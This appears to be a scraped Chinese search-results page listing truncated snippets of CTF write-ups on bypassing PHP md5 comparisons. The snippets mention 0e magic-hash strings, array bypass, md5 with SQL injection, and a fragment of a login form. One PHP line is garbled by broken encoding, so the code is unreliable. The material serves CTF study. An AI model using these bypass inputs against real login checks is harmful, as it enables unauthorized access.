    if (md5(GET[′username′])===md5(_GET['username']) === md5(G​ET[′username′])===md5(_GET[‘password’])) 标志:“===” 参考MD5碰撞的例子 如果是这种对比“==” 例子构造例子 QNKCDZO 240610708 弱...
  • 由两道题总结md5

    2021-09-20 17:46:55
    文章目录BJDCTFeasy_md5知识点1:md5和SQL注入md5函数解析知识点2:md5弱类型:使用0e绕过知识点3:利用数组绕过知识点4:\$a=md5(\$a)知识点5:弱类型绕过(md5碰撞): BJDCTFeasy_md5 BUUCTF 知识点1:md5和SQL注入 ...
  • Default<html><body><form id="form1" name="form1" method="post" action="login....<label>UserName<input name="user" type="text" id="user"/></label><br/><la...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 5,330
精华内容 2,132
关键字:

md5username绕过